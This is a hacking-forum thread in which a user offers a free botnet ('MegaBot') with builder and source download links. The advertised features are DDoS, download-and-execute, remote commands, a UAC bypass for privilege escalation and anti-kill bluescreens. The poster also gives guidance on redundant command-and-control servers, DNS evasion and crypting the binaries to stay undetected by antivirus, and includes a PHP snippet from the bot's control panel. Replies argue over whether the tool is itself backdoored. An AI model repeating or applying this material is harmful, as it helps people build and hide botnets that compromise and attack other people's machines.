

Forum:[Hack Forums](#)

Thread: [\[FREE\]\[FUD\] MegaBot IRC and Webpanel Bot w/ Sources](#)

airstrike - April 18, 2015, 5:42 am

Hi folks,

today i'm offering you my free IRC and Webpanel Bot.
Grep it while it's FUD!

Features:

- IRC Control
- Webpanel
- Run C# Script
- Execute Command
- DDoS
- Download&Execute
- Update Webpanel URLs
- PasteBin fallback - update Webpanel URLs by doing a PasteBin post.
- Crash Taskmanager

Screenshots:

Spoiler ([Click to View](#))

Code fs2.directupload.net/images/150418/kosu43u9.png

fs2.directupload.net/images/150418/gudbzmpa.png

fs2.directupload.net/images/150418/temp/6sj2paoc.png

Usage:

Spoiler ([Click to View](#))

Only a webpanel or IRC server will also do it, but this setup is as redundant as possible:

Server 1: Webpanel

Server 2: backup Webpanel

Server 3: your Exploit-Kit/Bot download

Backup-webpanel

Server 4: IRC Server

No-IP account (inactive for backup)

.tk account (inactive for backup)

Enter all 6 domain names / IPs into the bot.

If Server 1-3 fail, get 3 new servers and update the webpanel URLs using the no-ip/tk accounts

If everything else goes wrong, you can use the IRC server.

If even this fails, create a posting at pastebin with your pastebin token you have entered in the builder as subject to update the URLs.

Use the "Resolve Hosts" feature to connect directly to the ip of the webpanel. This way the DNS you

are using can't be detected easily and you can exchange serverers behind DNS name.

Virus Total:

Spoiler ([Click to View](#))Code

virustotal.com/de/file/8c30cbe655b72ab800294fef899027706088fcd8cd0bf3b5fc41d9836527b89d/analysis/1429359726/

Download Builder:

Spoiler ([Click to View](#))Code xup.in/dl,83783966/MegaBot_Builder.rar/

Download Sources:

Spoiler ([Click to View](#))Code xup.in/dl,36367495/MegaBot_src.rar/

+rep appreciated.

have fun!

Blacka Black - April 18, 2015, 12:41 pm

Going to give megabot a try , will let you know how it goes.

Kumara - April 18, 2015, 3:34 pm

Be careful while running this, 14 posts on a user isn't very safe, in my opinion. Please wait for a trusted member to make sure the file is safe.

Darknetwork - April 18, 2015, 5:21 pm

It was obvious, but don't try it.

<https://malwr.com/analysis/ZGE3NGEyNDAwZTI0NDUxMWE2OTc0YWwNiYmRlMzY4NjM/>

Kumara - April 18, 2015, 5:27 pm

Please look before you use any scanner. Malwr distributes files. They scan with VirusTotal, too.

Darknetwork - April 18, 2015, 5:29 pm

(Apr 18, 2015 05:27 PM)Greenpoison Wrote: [\[CITE\]](#) Please look before you use any scanner. Malwr distributes files. They scan with VirusTotal, too.

Dude. It's a fake. Who the fuck cares if I scan it on Malwr or Virustotal ? If it gets detected faster, that's a good thing for this moron, trying to infect people here.

Kumara - April 18, 2015, 5:35 pm

Not for the people that are using the same crypter he is using. That's just a dick move. I'm pretty sure he was using MSIL crypter, anyways. That crypter is widely used.

Darknetwork - April 18, 2015, 5:40 pm

(Apr 18, 2015 05:35 PM)Greenpoison Wrote: [\[CITE\]](#) Not for the people that are using the same crypter he is using. That's just a dick move. I'm pretty sure he was using MSIL crypter, anyways. That crypter is widely used.

You're right. I'll maybe do it in a different way next time.

Kumara - April 18, 2015, 5:44 pm

No hard feelings, though. Just use <http://www.refudme.com/> or <http://scan.majyx.net/>

They don't distribute any files for testing.

xx 0x0 xx - April 18, 2015, 5:50 pm

will i think it's backdoored so dont use before real analyzing

shitface - April 18, 2015, 11:16 pm

(Apr 18, 2015 05:44 PM)Greenpoison Wrote: [\[CITE\]](#) No hard feelings, though. Just use hxxxxx/ or httpxxxxx/

They don't distribute any files for testing.

After reading all your posts on this thread, I'm diagnosing you with extreme autism.

airstryke - April 19, 2015, 5:36 am

hi, the positives are due to the fact that the builder injects settings using reflection/mono.cecil and drops the exe from within a resource, and it contains the stub (which does install itself to autorun - that's why malwr mocks up)

If in doubt, use dotnet reflector or compile by yourself. none of the files are crypted in any way.

(Apr 18, 2015 05:29 PM)Darknetwork Wrote: [\[CITE\]](#) Dude. It's a fake. Who the fuck cares if I scan it on Malwr or Virustotal ? If it gets detected faster, that's a good thing for this moron, trying to infect people here.before you call someone a moron, build the file by yourself, which isn't really much of a requiriement.

as i told before, the files arent crypted, open them using dotnet reflector and you will see that they arent infected within a few minutes.

well, i could infect and FUD-crypt it, malwr wouldn't detect it any more, and you would feel safe oO

UPDATE

-removed LFI which allowed attacker to delete arbitrary files on the webserver

-Fixed Bot update Pass - bot wasn't being able to connect to server

Builder:

Spoiler [\(Click to View\)](#)

Code xup.in/dl,83618834/Builder.rar/

Virustotal:

Spoiler [\(Click to View\)](#)

Code

virustotal.com/de/file/627b42cc2eb188a557330ac4cd2a9d1ea4ba1d4eed014e146e45c8364be506dd/analysis/1429526395/

Src:

Spoiler [\(Click to View\)](#)

Code xup.in/dl,11376734/MegaBot_src.rar/

edit:

ah fuck it, forgot updating update.php - please change by yourself after bot generation (file will be in sub-folder /webpanel):

Spoiler [\(Click to View\)](#)

Code <?php

error_reporting(0);

require_once("settings.php.inc");

\$mac=\$_GET["mac"];

\$time=time();

```
if($_GET["pw"]== $bupdatepass && strlen($mac)==12 && strpos($mac,"/")===FALSE)
{
```

```
file_put_contents("./data/".$mac,$time);
require_once("action.html");
}
```

(Apr 18, 2015 05:50 PM)Mats0o0o0 Wrote: [\[CITE\]](#) will i think it's backdoored so dont use before real analyzing there was an LFI which was not really a backdoor, but allowed an attacker to delete files on the server.

It has been fixed in the new version.

SQLIs are not possible because the webpanel is 100% file based.

d4rkcr0w - April 22, 2015, 3:09 am

working as intendet - thanks for distributing!

airstrike - April 22, 2015, 3:32 am

UPDATE

new features:

- process permanency: if someone trys killing your server.exe, system will produce a bluescreen. system shutdown/reboot/relog is still possible without bluescreen.
- Changed target framework to dotnet 2.0, for compatibility reasons with windows xp
- 32/64 Bit UAC Bypass / User privileg escalation (will inject into elevated process to use com to drop a dll which gets chainloaded by another process and makes server.exe run as admin.)
- fixed update.php

NOTE: you will have to chmod ./action.html and ./data to 666 or chown to webserver-user after uploading your webpanel.

Download:

(precompiled exe is in subdirectory .\Builder\bin\Debug\)

Spoiler ([Click to View](#))

Code xup.in/dl,33094193/MegaBot.rar/

VirusTotal:

Spoiler ([Click to View](#))

Code

virustotal.com/de/file/dea6ad2525526a59c740cd3c1119dce2cd334acc8d441e11eccc8678c0e233ca/analysis/1429697838/

Detection Rate: 5 / 56

Reason: user privileg escalation

Solution: you will have to FUD crypt check32.exe and check64.exe, afterwards compile by yourself.

Only FUD-crypting the server.exe might possibly result in runtime detection!

next version will have the UAC bypass directly compiled in, so you won't have to crypt seperately.

being honest, current version is just a sloppy workaround.

steps to compile:

- crypt checkX.exe files
- compile troy
- compile builder
- use builder to generate server.exe
- crypt server.exe (maybe not necessary because still FUD after crypting checkX.exe, but you never know.)

btw: feel free to use checkX.exe for your own reasons, simply add the command you want to run

with elevated rights as a command line parameter.

(Apr 18, 2015 05:44 PM)Greenpoison Wrote: [\[CITE\]](#) No hard feelings, though. Just use ...

They don't distribute any files for testing.

uhm - psssst offline scanning with multi engine scanners

(Apr 18, 2015 03:34 PM)Greenpoison Wrote: [\[CITE\]](#) Be careful while running this, 14 posts on a user isn't very safe, in my opinion. Please wait for a trusted member to make sure the file is safe. i would be really thankfull if a trusted member could analyze the files (it's a matter of about 5 minutes- open using some dotnet decompiler, search for networking functions, that's it.).

(Apr 18, 2015 05:35 PM)Greenpoison Wrote: [\[CITE\]](#) Not for the people that are using the same crypter he is using. That's just a dick move. I'm pretty sure he was using MSIL crypter, anyways. That crypter is widely used.did i understand you? you want me to crypt the stub? i'm sorry, but that's technically not possible, at least not with a standard crypter, because i have to inject the settings using reflection/cecil from within the builder. so crypting is something you will have to do by yourself. (crypting the stub before building the server.exe would have to leave the resources untouched, and inject them into the built assembly, which is what no crypter which is being resold or made available publically will do, because it would render the crypter useless for normal reasons.)

Darknetwork - April 22, 2015, 5:09 am

Huh, I was drunk I guess. There's nothing wrong on the Malwr report ! No dropped files, no network connect, sorry !

airstryke - April 22, 2015, 5:25 am

(Apr 22, 2015 05:09 AM)Darknetwork Wrote: [\[CITE\]](#) Huh, I was drunk I guess. There's nothing wrong on the Malwr report ! No dropped files, not network connect, sorry !

I'm glad it has cleared up. you're welcome :)

xx 0x0 xx - April 22, 2015, 5:36 am

(Apr 19, 2015 05:36 AM)airstryke Wrote: [\[CITE\]](#) hi, the positives are due to the fact that the builder injects settings using reflection/mono.cecil and drops the exe from within a resource, and it contains the stub (which does install itself to autorun - that's why malwr mocks up)

If in doubt, use dotnet reflector or compile by yourself. none of the files are crypted in any way.

before you call someone a moron, build the file by yourself, which isn't really much of a requiement.

as i told before, the files arent crypted, open them using dotnet reflector and you will see that they arent infected within a few minutes.

well, i could infect and FUD-crypt it, malwr wouldn't detect it any more, and you would feel safe oO

UPDATE

-removed LFI which allowed attacker to delete arbitrary files on the webserver

-Fixed Bot update Pass - bot wasn't being able to connect to server

Builder:

Spoiler ([Click to View](#))

Code xup.in/dl,83618834/Builder.rar/

Virustotal:

Spoiler ([Click to View](#))

Code

virustotal.com/de/file/627b42cc2eb188a557330ac4cd2a9d1ea4ba1d4eed014e146e45c8364be506dd/analysis/1429526395/

Src:

Spoiler ([Click to View](#))

Code xup.in/dl,11376734/MegaBot_src.rar/

edit:

ah fuck it, forgot updating update.php - please change by yourself after bot generation (file will be in sub-folder /webpanel):

Spoiler ([Click to View](#))

Code <?php

error_reporting(0);

require_once("settings.php.inc");

\$mac=\$_GET["mac"];

\$time=time();

if(\$_GET["pw"]==\$bupdatepass && strlen(\$mac)==12 && strpos(\$mac,"/")===FALSE)

```
{
    file_put_contents("./data/".$mac,$time);
    require_once("action.html");
}
```

there was an LFI which was not really a backdoor, but allowed an attacker to delete files on the server.

It has been fixed in the new version.

SQLIs are not possible because the webpanel is 100% file based.

nice report from u i will try it out and feedback here

Jaidyn - April 22, 2015, 9:12 pm

Looks good, thanks for posting

airstrike - May 6, 2015, 4:25 am

(Apr 22, 2015 05:36 AM)Mats0o0o0 Wrote: ([CITE](#)) nice report from u i will try it out and feedback here

great - thank you! i'm looking forward to reading your feedback.

AbouAli - May 6, 2015, 6:03 am

Looks good, gonna give it a try now.

king1245 - May 14, 2015, 10:24 am

let me try this now !!! hope it safe to use

Despize - May 14, 2015, 12:37 pm

Be Careful people i will try this and let you know if its safe.